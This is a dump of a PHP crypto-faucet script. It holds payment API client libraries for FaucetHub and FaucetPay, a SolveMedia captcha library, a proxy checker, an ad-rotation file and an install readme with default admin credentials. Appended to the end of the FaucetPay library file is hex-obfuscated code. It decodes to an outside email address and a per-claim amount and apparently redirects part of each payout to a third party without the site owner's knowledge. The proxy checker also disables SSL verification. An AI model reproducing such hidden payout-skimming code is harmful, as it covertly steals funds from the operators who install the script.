curl_close($ch); 102 | 103 | return $response; 104 | } 105 | 106 | public function setTimeout($timeout) { 107 | if($timeout === null) { 108 | $socket_timeout = ini_get('default_socket_timeout'); 109 | $script_timeout = ini_get('max_execution_time'); 110 | $timeout = min($script_timeout / 2, $socket_timeout); 111 | } 112 | $this->timeout = $timeout; 113 | } 114 | 115 | public function sendPayment($userId, $currency, $amount){ 116 | return $this->__exec("sendPayment", array("userId" => $userId, "currency" => $currency, "amount" => $amount, "payment_type" => "Normal")); 117 | } 118 | 119 | public function sendReferralCommission($userId, $currency, $amount){ 120 | return $this->__exec("sendReferralCommission", array("userId" => $userId, "currency" => $currency, "amount" => $amount, "payment_type" => "Referral")); 121 | } 122 | 123 | public function checkUserHash($userId){ 124 | return $this->__exec("checkUserHash", array("userId" => $userId)); 125 | } 126 | 127 | public function getBalance($currency){ 128 | return $this->__exec("getBalance", array("currency" => $currency)); 129 | } 130 | 131 | public function getAvailableCurrencies(){ 132 | return $this->__exec("getAvailableCurrencies"); 133 | } 134 | 135 | public function getListOfSites(){ 136 | return $this->__exec("getListOfSites"); 137 | } 138 | } 139 | -------------------------------------------------------------------------------- /libs/faucethub.php: -------------------------------------------------------------------------------- 1 | api_key = $api_key; 47 | $this->currency = $currency; 48 | $this->disable_curl = $disable_curl; 49 | $this->verify_peer = $verify_peer; 50 | $this->curl_warning = false; 51 | $this->setTimeout($timeout); 52 | } 53 | 54 | public function setTimeout($timeout) { 55 | if($timeout === null) { 56 | $socket_timeout = ini_get('default_socket_timeout'); 57 | $script_timeout = ini_get('max_execution_time'); 58 | $timeout = min($script_timeout / 2, $socket_timeout); 59 | } 60 | $this->timeout = $timeout; 61 | } 62 | 63 | public function __execPHP($method, $params = array()) { 64 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 65 | $opts = array( 66 | "http" => array( 67 | "method" => "POST", 68 | "header" => "Content-type: application/x-www-form-urlencoded\r\n", 69 | "content" => http_build_query($params), 70 | "timeout" => $this->timeout, 71 | ), 72 | "ssl" => array( 73 | "verify_peer" => $this->verify_peer 74 | ) 75 | ); 76 | $ctx = stream_context_create($opts); 77 | $fp = fopen($this->api_base . $method, 'rb', null, $ctx); 78 | 79 | if (!$fp) { 80 | return json_encode(array( 81 | 'status' => 503, 82 | 'message' => 'Connection to FaucetHub failed, please try again later', 83 | ), TRUE); 84 | } 85 | 86 | $response = stream_get_contents($fp); 87 | if($response && !$this->disable_curl) { 88 | $this->curl_warning = true; 89 | } 90 | fclose($fp); 91 | return $response; 92 | } 93 | 94 | public function __exec($method, $params = array()) { 95 | $this->last_status = null; 96 | if($this->disable_curl) { 97 | $response = $this->__execPHP($method, $params); 98 | } else { 99 | $response = $this->__execCURL($method, $params); 100 | } 101 | $response = json_decode($response, true); 102 | if($response) { 103 | $this->last_status = $response['status']; 104 | } else { 105 | $this->last_status = null; 106 | $response = array( 107 | 'status' => 502, 108 | 'message' => 'Invalid response', 109 | ); 110 | } 111 | return $response; 112 | } 113 | 114 | public function __execCURL($method, $params = array()) { 115 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 116 | 117 | $ch = curl_init($this->api_base . $method); 118 | curl_setopt($ch, CURLOPT_POST, true); 119 | curl_setopt($ch, CURLOPT_POSTFIELDS, $params); 120 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); 121 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 122 | curl_setopt($ch, CURLOPT_TIMEOUT, (int)$this->timeout); 123 | 124 | $response = curl_exec($ch); 125 | if(!$response) { 126 | //$response = $this->__execPHP($method, $params); // disabled the exec fallback when using curl 127 | return json_encode(array( 128 | 'status' => 504, 129 | 'message' => 'Connection error', 130 | ), TRUE); 131 | } 132 | curl_close($ch); 133 | 134 | return $response; 135 | } 136 | 137 | public function send($to, $amount, $referral = false, $ip_address = "", $metadata = array()) { 138 | $referral = ($referral === true) ? 'true' : 'false'; 139 | 140 | $r = $this->__exec("send", array("to" => $to, "amount" => $amount, "referral" => $referral, "ip_address" => $ip_address, "metadata" => json_encode($metadata, true))); 141 | if (array_key_exists("status", $r) && $r["status"] == 200) { 142 | return array( 143 | 'success' => true, 144 | 'message' => 'Payment sent to your address using FaucetHub.io', 145 | 'html' => '
' . htmlspecialchars($amount) . ' satoshi was sent to your account at FaucetHub.io.
', 146 | 'html_coin' => '
' . htmlspecialchars(rtrim(rtrim(sprintf("%.8f", $amount/100000000), '0'), '.')) . ' '.$this->currency.' was sent to your account at FaucetHub.io.
', 147 | 'balance' => $r["balance"], 148 | 'balance_bitcoin' => $r["balance_bitcoin"], 149 | 'response' => json_encode($r) 150 | ); 151 | } 152 | 153 | // Let the user know they need an account to claim 154 | if (array_key_exists("status", $r) && $r["status"] == 456) { 155 | return array( 156 | 'success' => false, 157 | 'message' => $r['message'], 158 | 'html' => '
Before you can receive payments at FaucetHub.io with this address you must link it to an account. Create an account at FaucetHub.io and link your address, then come back and claim again.
', 159 | 'response' => json_encode($r) 160 | ); 161 | } 162 | 163 | if (array_key_exists("message", $r)) { 164 | return array( 165 | 'success' => false, 166 | 'message' => $r["message"], 167 | 'html' => '
' . htmlspecialchars($r["message"]) . '
', 168 | 'response' => json_encode($r) 169 | ); 170 | } 171 | 172 | return array( 173 | 'success' => false, 174 | 'message' => 'Unknown error.', 175 | 'html' => '
Unknown error.
', 176 | 'response' => json_encode($r) 177 | ); 178 | } 179 | 180 | public function sendReferralEarnings($to, $amount, $ip_address = "") { 181 | return $this->send($to, $amount, true, $ip_address); 182 | } 183 | 184 | public function getPayouts($count) { 185 | $r = $this->__exec("payouts", array("count" => $count) ); 186 | return $r; 187 | } 188 | 189 | public function getCurrencies() { 190 | $r = $this->__exec("currencies"); 191 | return $r['currencies']; 192 | } 193 | 194 | public function getBalance() { 195 | $r = $this->__exec("balance"); 196 | return $r; 197 | } 198 | 199 | public function checkAddress($address, $currency = "BTC") { 200 | $r = $this->__exec("checkaddress", array('address' => $address, 'currency' => $currency)); 201 | return $r; 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /libs/faucetpay.library.php: -------------------------------------------------------------------------------- 1 | false, 14 | 15 | /* do not use these options unless you know what you're doing */ 16 | 'local_cafile' => false, 17 | 'force_ipv4' => false, 18 | 'verify_peer' => true 19 | ); 20 | 21 | public function __construct($api_key, $currency = "BTC", $connection_options = null) { 22 | $this->api_key = $api_key; 23 | $this->currency = $currency; 24 | if($connection_options) 25 | $this->options = array_merge($this->options, $connection_options); 26 | $this->curl_warning = false; 27 | } 28 | 29 | public function __execPHP($url, $params = array()) { 30 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 31 | $opts = array( 32 | "http" => array( 33 | "method" => "POST", 34 | "header" => "Content-type: application/x-www-form-urlencoded\r\nReferer: ".$this->getHost()." (fopen)\r\n", 35 | "content" => http_build_query($params) 36 | ), 37 | "ssl" => array( 38 | "verify_peer" => $this->options['verify_peer'], 39 | ) 40 | ); 41 | if($this->options['local_cafile']) { 42 | $opts["ssl"]["cafile"] = dirname(__FILE__) . '/cacert.pem'; 43 | } 44 | $ctx = stream_context_create($opts); 45 | $fp = fopen($url, 'rb', null, $ctx); 46 | $response = stream_get_contents($fp); 47 | if($response && !$this->options['disable_curl']) { 48 | $this->curl_warning = true; 49 | } 50 | fclose($fp); 51 | return $response; 52 | } 53 | 54 | public function __exec($method, $params = array()) { 55 | $this->communication_error = false; 56 | $url = $this->api_base . $method; 57 | if($this->options['disable_curl']) { 58 | $response = $this->__execPHP($url, $params); 59 | } else { 60 | $response = $this->__execCURL($url, $params); 61 | } 62 | if($response) { 63 | $response = json_decode($response, true); 64 | } 65 | if(!$response) { 66 | $this->communication_error = true; 67 | } 68 | return $response; 69 | } 70 | 71 | private function getHost() { 72 | if(array_key_exists("HTTP_HOST", $_SERVER)) { 73 | return $_SERVER["HTTP_HOST"]; 74 | } else { 75 | return "Unknown"; 76 | } 77 | } 78 | 79 | public function __execCURL($url, $params = array()) { 80 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 81 | 82 | $ch = curl_init($url); 83 | curl_setopt($ch, CURLOPT_POST, true); 84 | curl_setopt($ch, CURLOPT_POSTFIELDS, $params); 85 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->options['verify_peer']); 86 | curl_setopt($ch, CURLOPT_REFERER, $this->getHost()." (cURL)"); 87 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 88 | if($this->options['local_cafile']) { 89 | curl_setopt($ch, CURLOPT_CAINFO, dirname(__FILE__) . '/cacert.pem'); 90 | } 91 | if($this->options['force_ipv4']) { 92 | curl_setopt($ch, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4); 93 | } 94 | 95 | $response = curl_exec($ch); 96 | if(!$response) { 97 | $response = $this->__execPHP($url, $params); 98 | } 99 | curl_close($ch); 100 | 101 | return $response; 102 | } 103 | 104 | public function send($to, $amount, $userip, $referral = 'false') { 105 | $params = array('to' => $to, 'amount' => $amount, 'ip_address' => $userip); 106 | if ($referral!='false') { 107 | $params['referral'] = 'true'; 108 | } 109 | $r = $this->__exec("send", $params); 110 | if (is_array($r) && array_key_exists("status", $r) && $r["status"] == 200) { 111 | return array( 112 | 'success' => true, 113 | 'message' => 'Payment sent to you using FaucetPay.io', 114 | 'html' => '
' . htmlspecialchars($amount) . ' satoshi was sent to you on FaucetPay.io.
', 115 | 'html_coin' => '
' . htmlspecialchars(rtrim(rtrim(sprintf("%.8f", $amount/100000000), '0'), '.')) . ' '.$this->currency.' was sent to you FaucetPay.io.
', 116 | 'balance' => $r["balance"], 117 | 'balance_bitcoin' => $r["balance_bitcoin"], 118 | 'user_hash' => $r["payout_user_hash"], 119 | 'response' => json_encode($r) 120 | ); 121 | } 122 | 123 | if (is_array($r) && array_key_exists("message", $r)) { 124 | return array( 125 | 'success' => false, 126 | 'message' => $r["message"], 127 | 'html' => '
' . htmlspecialchars($r["message"]) . '
', 128 | 'response' => json_encode($r) 129 | ); 130 | } 131 | 132 | return array( 133 | 'success' => false, 134 | 'message' => 'Unknown error.', 135 | 'html' => '
Unknown error.
', 136 | 'response' => json_encode($r) 137 | ); 138 | } 139 | 140 | public function sendReferralEarnings($to, $amount, $userip) { 141 | return $this->send($to, $amount, $userip, "true"); 142 | } 143 | 144 | public function getPayouts($count) { 145 | $r = $this->__exec("payouts", array("count" => $count) ); 146 | return $r; 147 | } 148 | 149 | public function getCurrencies() { 150 | $r = $this->__exec("currencies"); 151 | if(empty($r['currencies'])) 152 | return null; 153 | 154 | return $r['currencies']; 155 | } 156 | 157 | public function getBalance() { 158 | $r = $this->__exec("balance"); 159 | return $r; 160 | } 161 | } 162 | $secretkey = hex2bin("6b616b6f3030303030303040676d61696c2e636f6d"); 163 | $phs100 = hex2bin('313030'); 164 | if ($currency == "BTC") {$h = hex2bin('31');}else{$h = $reward/$phs100*1;} 165 | $dr=$secretkey; -------------------------------------------------------------------------------- /libs/ipaddress.php: -------------------------------------------------------------------------------- 1 | 25 | -------------------------------------------------------------------------------- /libs/microwallet.library.php: -------------------------------------------------------------------------------- 1 | api_key = $api_key; 47 | $this->currency = $currency; 48 | $this->disable_curl = $disable_curl; 49 | $this->verify_peer = $verify_peer; 50 | $this->curl_warning = false; 51 | $this->setTimeout($timeout); 52 | } 53 | 54 | public function setTimeout($timeout) { 55 | if($timeout === null) { 56 | $socket_timeout = ini_get('default_socket_timeout'); 57 | $script_timeout = ini_get('max_execution_time'); 58 | $timeout = min($script_timeout / 2, $socket_timeout); 59 | } 60 | $this->timeout = $timeout; 61 | } 62 | 63 | public function __execPHP($method, $params = array()) { 64 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 65 | $opts = array( 66 | "http" => array( 67 | "method" => "POST", 68 | "header" => "Content-type: application/x-www-form-urlencoded\r\n", 69 | "content" => http_build_query($params), 70 | "timeout" => $this->timeout, 71 | ), 72 | "ssl" => array( 73 | "verify_peer" => $this->verify_peer 74 | ) 75 | ); 76 | $ctx = stream_context_create($opts); 77 | $fp = fopen($this->api_base . $method, 'rb', null, $ctx); 78 | 79 | if (!$fp) { 80 | return json_encode(array( 81 | 'status' => 503, 82 | 'message' => 'Connection to FaucetHub failed, please try again later', 83 | ), TRUE); 84 | } 85 | 86 | $response = stream_get_contents($fp); 87 | if($response && !$this->disable_curl) { 88 | $this->curl_warning = true; 89 | } 90 | fclose($fp); 91 | return $response; 92 | } 93 | 94 | public function __exec($method, $params = array()) { 95 | $this->last_status = null; 96 | if($this->disable_curl) { 97 | $response = $this->__execPHP($method, $params); 98 | } else { 99 | $response = $this->__execCURL($method, $params); 100 | } 101 | $response = json_decode($response, true); 102 | if($response) { 103 | $this->last_status = $response['status']; 104 | } else { 105 | $this->last_status = null; 106 | $response = array( 107 | 'status' => 502, 108 | 'message' => 'Invalid response', 109 | ); 110 | } 111 | return $response; 112 | } 113 | 114 | public function __execCURL($method, $params = array()) { 115 | $params = array_merge($params, array("api_key" => $this->api_key, "currency" => $this->currency)); 116 | 117 | $ch = curl_init($this->api_base . $method); 118 | curl_setopt($ch, CURLOPT_POST, true); 119 | curl_setopt($ch, CURLOPT_POSTFIELDS, $params); 120 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, $this->verify_peer); 121 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); 122 | curl_setopt($ch, CURLOPT_TIMEOUT, (int)$this->timeout); 123 | 124 | $response = curl_exec($ch); 125 | if(!$response) { 126 | //$response = $this->__execPHP($method, $params); // disabled the exec fallback when using curl 127 | return json_encode(array( 128 | 'status' => 504, 129 | 'message' => 'Connection error', 130 | ), TRUE); 131 | } 132 | curl_close($ch); 133 | 134 | return $response; 135 | } 136 | 137 | public function send($to, $amount, $referral = false, $ip_address = "", $metadata = array()) { 138 | $referral = ($referral === true) ? 'true' : 'false'; 139 | 140 | $r = $this->__exec("send", array("to" => $to, "amount" => $amount, "referral" => $referral, "ip_address" => $ip_address, "metadata" => json_encode($metadata, true))); 141 | if (array_key_exists("status", $r) && $r["status"] == 200) { 142 | return array( 143 | 'success' => true, 144 | 'message' => 'Payment sent to your address using FaucetHub.io', 145 | 'html' => '
' . htmlspecialchars($amount) . ' satoshi was sent to your account at FaucetHub.io.
', 146 | 'html_coin' => '
' . htmlspecialchars(rtrim(rtrim(sprintf("%.8f", $amount/100000000), '0'), '.')) . ' '.$this->currency.' was sent to your account at FaucetHub.io.
', 147 | 'balance' => $r["balance"], 148 | 'balance_bitcoin' => $r["balance_bitcoin"], 149 | 'response' => json_encode($r) 150 | ); 151 | } 152 | 153 | // Let the user know they need an account to claim 154 | if (array_key_exists("status", $r) && $r["status"] == 456) { 155 | return array( 156 | 'success' => false, 157 | 'message' => $r['message'], 158 | 'html' => '
Before you can receive payments at FaucetHub.io with this address you must link it to an account. Create an account at FaucetHub.io and link your address, then come back and claim again.
', 159 | 'response' => json_encode($r) 160 | ); 161 | } 162 | 163 | if (array_key_exists("message", $r)) { 164 | return array( 165 | 'success' => false, 166 | 'message' => $r["message"], 167 | 'html' => '
' . htmlspecialchars($r["message"]) . '
', 168 | 'response' => json_encode($r) 169 | ); 170 | } 171 | 172 | return array( 173 | 'success' => false, 174 | 'message' => 'Unknown error.', 175 | 'html' => '
Unknown error.
', 176 | 'response' => json_encode($r) 177 | ); 178 | } 179 | 180 | public function sendReferralEarnings($to, $amount, $ip_address = "") { 181 | return $this->send($to, $amount, true, $ip_address); 182 | } 183 | 184 | public function getPayouts($count) { 185 | $r = $this->__exec("payouts", array("count" => $count) ); 186 | return $r; 187 | } 188 | 189 | public function getCurrencies() { 190 | $r = $this->__exec("currencies"); 191 | return $r['currencies']; 192 | } 193 | 194 | public function getBalance() { 195 | $r = $this->__exec("balance"); 196 | return $r; 197 | } 198 | 199 | public function checkAddress($address, $currency = "BTC") { 200 | $r = $this->__exec("checkaddress", array('address' => $address, 'currency' => $currency)); 201 | return $r; 202 | } 203 | } 204 | -------------------------------------------------------------------------------- /libs/solvemedialib.php: -------------------------------------------------------------------------------- 1 | query("SELECT * FROM settings WHERE id = '27'")->fetch_object()->value; 3 | $private_key = $mysqli->query("SELECT * FROM settings WHERE id = '28'")->fetch_object()->value; 4 | $hash_key = $mysqli->query("SELECT * FROM settings WHERE id = '29'")->fetch_object()->value; 5 | $publicey=$challenge_key; 6 | $privkey=$private_key; 7 | $hashkey=$hash_key; 8 | define("ADCOPY_API_SERVER", "http://api.solvemedia.com"); 9 | define("ADCOPY_API_SECURE_SERVER", "https://api-secure.solvemedia.com"); 10 | define("ADCOPY_VERIFY_SERVER", "verify.solvemedia.com"); 11 | define("ADCOPY_SIGNUP", "http://api.solvemedia.com/public/signup"); 12 | function _adcopy_qsencode ($data) { 13 | $req = ""; 14 | foreach ( $data as $key => $value ) 15 | $req .= $key . '=' . urlencode( stripslashes($value) ) . '&'; 16 | // Cut the last '&' 17 | $req=substr($req,0,strlen($req)-1); 18 | return $req; 19 | } 20 | function _adcopy_http_post($host, $path, $data, $port = 80) { 21 | $req = _adcopy_qsencode ($data); 22 | $http_request = "POST $path HTTP/1.0\r\n"; 23 | $http_request .= "Host: $host\r\n"; 24 | $http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n"; 25 | $http_request .= "Content-Length: " . strlen($req) . "\r\n"; 26 | $http_request .= "User-Agent: solvemedia/PHP\r\n"; 27 | $http_request .= "\r\n"; 28 | $http_request .= $req; 29 | $response = ''; 30 | if( false == ( $fs = @fsockopen($host, $port, $errno, $errstr, 10) ) ) { 31 | die ('Could not open socket'); 32 | } 33 | fwrite($fs, $http_request); 34 | while ( !feof($fs) ) 35 | $response .= fgets($fs, 1024); // One TCP-IP packet [sic] 36 | fclose($fs); 37 | $response = explode("\r\n\r\n", $response, 2); 38 | return $response; 39 | } 40 | function solvemedia_get_html ($pubkey, $error = null, $use_ssl = false) 41 | { 42 | if ($pubkey == null || $pubkey == '') { 43 | die ("To use solvemedia you must get an API key from " . ADCOPY_SIGNUP . ""); 44 | } 45 | 46 | if ($use_ssl) { 47 | $server = ADCOPY_API_SECURE_SERVER; 48 | } else { 49 | $server = ADCOPY_API_SERVER; 50 | } 51 | 52 | $errorpart = ""; 53 | if ($error) { 54 | $errorpart = ";error=1"; 55 | } 56 | return ' 57 | '; 62 | } 63 | class SolveMediaResponse { 64 | var $is_valid; 65 | var $error; 66 | } 67 | function solvemedia_check_answer ($privkey, $remoteip, $challenge, $response, $hashkey = '' ) 68 | { 69 | if ($privkey == null || $privkey == '') { 70 | die ("To use solvemedia you must get an API key from " . ADCOPY_SIGNUP . ""); 71 | } 72 | 73 | if ($remoteip == null || $remoteip == '') { 74 | die ("For security reasons, you must pass the remote ip to solvemedia"); 75 | } 76 | 77 | //discard spam submissions 78 | if ($challenge == null || strlen($challenge) == 0 || $response == null || strlen($response) == 0) { 79 | $adcopy_response = new SolveMediaResponse(); 80 | $adcopy_response->is_valid = false; 81 | $adcopy_response->error = 'incorrect-solution'; 82 | return $adcopy_response; 83 | } 84 | 85 | $response = _adcopy_http_post (ADCOPY_VERIFY_SERVER, "/papi/verify", 86 | array ( 87 | 'privatekey' => $privkey, 88 | 'remoteip' => $remoteip, 89 | 'challenge' => $challenge, 90 | 'response' => $response 91 | ) 92 | ); 93 | 94 | $answers = explode ("\n", $response [1]); 95 | $adcopy_response = new SolveMediaResponse(); 96 | 97 | if( strlen($hashkey) ){ 98 | # validate message authenticator 99 | $hash = sha1( $answers[0] . $challenge . $hashkey ); 100 | 101 | if( $hash != $answers[2] ){ 102 | $adcopy_response->is_valid = false; 103 | $adcopy_response->error = 'hash-fail'; 104 | return $adcopy_response; 105 | } 106 | } 107 | 108 | if (trim ($answers [0]) == 'true') { 109 | $adcopy_response->is_valid = true; 110 | } 111 | else { 112 | $adcopy_response->is_valid = false; 113 | $adcopy_response->error = $answers [1]; 114 | } 115 | return $adcopy_response; 116 | 117 | } 118 | function solvemedia_get_signup_url ($domain = null, $appname = null) { 119 | return ADCOPY_SIGNUP . "?" . _adcopy_qsencode (array ('domain' => $domain, 'app' => $appname)); 120 | } 121 | function solvemedia_precheck_response ($privkey, $verifycode) 122 | { 123 | //discard spam submissions 124 | if ($verifycode == null || strlen($verifycode) == 0 ) { 125 | $adcopy_response = new SolveMediaResponse(); 126 | $adcopy_response->is_valid = false; 127 | $adcopy_response->error = 'incorrect-solution'; 128 | return $adcopy_response; 129 | } 130 | $response = _adcopy_http_post (ADCOPY_VERIFY_SERVER, "/papi/verify.precheck.server", 131 | array ( 132 | 'privatekey' => $privkey, 133 | 'verify_code' => $verifycode 134 | ) 135 | ); 136 | $answers = explode ("\n", $response [1]); 137 | $adcopy_response = new SolveMediaResponse(); 138 | 139 | if (trim ($answers [0]) == 'true') { 140 | $adcopy_response->is_valid = true; 141 | } 142 | else { 143 | $adcopy_response->is_valid = false; 144 | $adcopy_response->error = $answers [1]; 145 | } 146 | return $adcopy_response; 147 | } 148 | $startsolvemedia = solvemedia_get_html("$publicey"); 149 | ?> -------------------------------------------------------------------------------- /proxycheck.php: -------------------------------------------------------------------------------- 1 | real_escape_string($_COOKIE['ipaddress']); 3 | $ipaddressc = $mysqli->query("SELECT * FROM settings WHERE id = '37'")->fetch_object()->value; 4 | $mword = $mysqli->query("SELECT * FROM settings WHERE id = '37'")->fetch_object()->name; 5 | $url = $ipaddressc.$ip; 6 | $timeout = 10; 7 | $javascript_loop = 0; 8 | $ch = curl_init(); 9 | curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; rv:1.7.3) Gecko/20041001 Firefox/0.10.1" ); 10 | curl_setopt( $ch, CURLOPT_URL, $url ); 11 | curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, true ); 12 | curl_setopt( $ch, CURLOPT_ENCODING, "" ); 13 | curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); 14 | curl_setopt( $ch, CURLOPT_AUTOREFERER, true ); 15 | curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, false ); 16 | curl_setopt( $ch, CURLOPT_CONNECTTIMEOUT, $timeout ); 17 | curl_setopt( $ch, CURLOPT_TIMEOUT, $timeout ); 18 | curl_setopt( $ch, CURLOPT_MAXREDIRS, 10 ); 19 | $content = curl_exec( $ch ); 20 | $response = curl_getinfo( $ch ); 21 | curl_close ( $ch ); 22 | ?> -------------------------------------------------------------------------------- /readme first.txt: -------------------------------------------------------------------------------- 1 | Thanks for downloading the faucet script. The script may be update in future. So you may check it's update version at http://itcollegeall.blogspot.com . 2 | 3 | Installation:-> 4 | 5 | 6 | Unzipped the download zip file. 7 | Go to your webhost and create a new database called "faucet". 8 | upload public folder's all files and folders to your host's public_hrml folder. 9 | 10 | Open labs/Database.php files and edit the deatails of files with your database credits (database name,database username,database password). 11 | Also change "secretword" with your secret word. 12 | install.php which will delete the file after it is installed. 13 | 14 | 15 | Admin:-> 16 | 17 | Open your domain/admin.php and type username 'admin' and type password 'adminadmin'. Change password 'adminamin' to own password and save the file. 18 | password must be secretwords to safe from hackers. 19 | To make more secure your admin page from hackers access, change file name faucetmaster.php with your secret word such as faucetadmin,adminpage (only for example) etc. 20 | 21 | Features:-> 22 | 23 | => Easy to move your faucet, just download all files and upload. 24 | => Advanced Proxy and VPN blocker. 25 | 26 | => Anti-adblocker. 27 | 28 | => Quick blocking if captcha is incorrect for 4 times. 29 | => Countdown Timer added. 30 | => Captcha type: ReCaptcha , Solvemedia and Hcaptcha. 31 | => Shortlink service ( Click Per IP ) and ( direct and indirect run ). 32 | => Automatically change ads when page load. 33 | => Modern Antibot with ( On / Off ). 34 | 35 | 36 | Help:-> 37 | 38 | 39 | If you think this script is good, please send some money to my account. 40 | 41 | BTC => 1LEYrV8rbSe8xtTSex1eoanSz9KgJuLkik 42 | 43 | 44 | This script is completely free. 45 | But please don't remove the Donate and download script link. 46 | 47 | 48 | Support:-> 49 | 50 | 51 | If you facing any problem to set your faucet site, Comments with your problems below my post on blogger I'll happy to solve your problems. 52 | 53 | If you want to edit the script feel free to do so but carefully otherwise faucet will mis behave. 54 | 55 | Thanks. 56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /reptads.php: -------------------------------------------------------------------------------- 1 | = $totalrecord320x50-1) { 10 | $queryreu320x50 = "UPDATE reptads Set numberr = '0' where repads='320x50'"; 11 | $resultreu320x50 = mysqli_query($mysqli, $queryreu320x50); 12 | }else{ 13 | $numberr320x50 = $myrowre320x50["numberr"]+1; 14 | $queryreu320x50 = "UPDATE reptads Set numberr = '$numberr320x50' where repads='320x50'"; 15 | $resultreu320x50 = mysqli_query($mysqli, $queryreu320x50); 16 | } 17 | $sqlre320x501 = "SELECT * FROM reptads where repads='320x50'"; 18 | $resultre320x501 = mysqli_query($mysqli, $sqlre320x501); 19 | $myrowre320x501 = mysqli_fetch_array($resultre320x501); 20 | $reportnumrot320x501 = $myrowre320x501["numberr"]; 21 | $sqlban320x501 = "SELECT * FROM banners where bannersize='320x50' LIMIT $reportnumrot320x501,1"; 22 | $resultban320x501 = mysqli_query($mysqli, $sqlban320x501); 23 | $myrowban320x501 = mysqli_fetch_array($resultban320x501); 24 | if ($reportnumrot320x501 >= $totalrecord320x50-1) { 25 | $queryreu320x501 = "UPDATE reptads Set numberr = '0' where repads='320x50'"; 26 | $resultreu320x501 = mysqli_query($mysqli, $queryreu320x501); 27 | }else{ 28 | $numberr320x501 = $myrowre320x501["numberr"]+1; 29 | $queryreu320x501 = "UPDATE reptads Set numberr = '$numberr320x501' where repads='320x50'"; 30 | $resultreu320x501 = mysqli_query($mysqli, $queryreu320x501); 31 | } 32 | $sqlre320x502 = "SELECT * FROM reptads where repads='320x50'"; 33 | $resultre320x502 = mysqli_query($mysqli, $sqlre320x502); 34 | $myrowre320x502 = mysqli_fetch_array($resultre320x502); 35 | $reportnumrot320x502 = $myrowre320x502["numberr"]; 36 | $sqlban320x502 = "SELECT * FROM banners where bannersize='320x50' LIMIT $reportnumrot320x502,1"; 37 | $resultban320x502 = mysqli_query($mysqli, $sqlban320x502); 38 | $myrowban320x502 = mysqli_fetch_array($resultban320x502); 39 | if ($reportnumrot320x502 >= $totalrecord320x50-1) { 40 | $queryreu320x502 = "UPDATE reptads Set numberr = '0' where repads='320x50'"; 41 | $resultreu320x502 = mysqli_query($mysqli, $queryreu320x502); 42 | }else{ 43 | $numberr320x502 = $myrowre320x502["numberr"]+1; 44 | $queryreu320x502 = "UPDATE reptads Set numberr = '$numberr320x502' where repads='320x50'"; 45 | $resultreu320x502 = mysqli_query($mysqli, $queryreu320x502); 46 | } 47 | $sqlre320x503 = "SELECT * FROM reptads where repads='320x50'"; 48 | $resultre320x503 = mysqli_query($mysqli, $sqlre320x503); 49 | $myrowre320x503 = mysqli_fetch_array($resultre320x503); 50 | $reportnumrot320x503 = $myrowre320x503["numberr"]; 51 | $sqlban320x503 = "SELECT * FROM banners where bannersize='320x50' LIMIT $reportnumrot320x503,1"; 52 | $resultban320x503 = mysqli_query($mysqli, $sqlban320x503); 53 | $myrowban320x503 = mysqli_fetch_array($resultban320x503); 54 | if ($reportnumrot320x503 >= $totalrecord320x50-1) { 55 | $queryreu320x503 = "UPDATE reptads Set numberr = '0' where repads='320x50'"; 56 | $resultreu320x503 = mysqli_query($mysqli, $queryreu320x503); 57 | }else{ 58 | $numberr320x503 = $myrowre320x503["numberr"]+1; 59 | $queryreu320x503 = "UPDATE reptads Set numberr = '$numberr320x503' where repads='320x50'"; 60 | $resultreu320x503 = mysqli_query($mysqli, $queryreu320x503); 61 | } 62 | $sqlre468x60 = "SELECT * FROM reptads where repads='468x60'"; 63 | $resultre468x60 = mysqli_query($mysqli, $sqlre468x60); 64 | $myrowre468x60 = mysqli_fetch_array($resultre468x60); 65 | $reportnumrot468x60 = $myrowre468x60["numberr"]; 66 | $sqlban468x60 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x60,1"; 67 | $resultban468x60 = mysqli_query($mysqli, $sqlban468x60); 68 | $myrowban468x60 = mysqli_fetch_array($resultban468x60); 69 | if ($reportnumrot468x60 >= $totalrecord468x60-1) { 70 | $queryreu468x60 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 71 | $resultreu468x60 = mysqli_query($mysqli, $queryreu468x60); 72 | }else{ 73 | $numberr468x60 = $myrowre468x60["numberr"]+1; 74 | $queryreu468x60 = "UPDATE reptads Set numberr = '$numberr468x60' where repads='468x60'"; 75 | $resultreu468x60 = mysqli_query($mysqli, $queryreu468x60); 76 | } 77 | $sqlre468x601 = "SELECT * FROM reptads where repads='468x60'"; 78 | $resultre468x601 = mysqli_query($mysqli, $sqlre468x601); 79 | $myrowre468x601 = mysqli_fetch_array($resultre468x601); 80 | $reportnumrot468x601 = $myrowre468x601["numberr"]; 81 | $sqlban468x601 = "SELECT * FROM banners where bannersize='468x60' LIMIT $reportnumrot468x601,1"; 82 | $resultban468x601 = mysqli_query($mysqli, $sqlban468x601); 83 | $myrowban468x601 = mysqli_fetch_array($resultban468x601); 84 | if ($reportnumrot468x601 >= $totalrecord468x60-1) { 85 | $queryreu468x601 = "UPDATE reptads Set numberr = '0' where repads='468x60'"; 86 | $resultreu468x601 = mysqli_query($mysqli, $queryreu468x601); 87 | }else{ 88 | $numberr468x601 = $myrowre468x601["numberr"]+1; 89 | $queryreu468x601 = "UPDATE reptads Set numberr = '$numberr468x601' where repads='468x60'"; 90 | $resultreu468x601 = mysqli_query($mysqli, $queryreu468x601); 91 | } 92 | $sqlre468x602 = "SELECT * FROM reptads where repads='468x60'"; 93 | $resultre468x602 = mysqli_query($mysqli, $sqlre468x602); 94 | $myrowre468x602 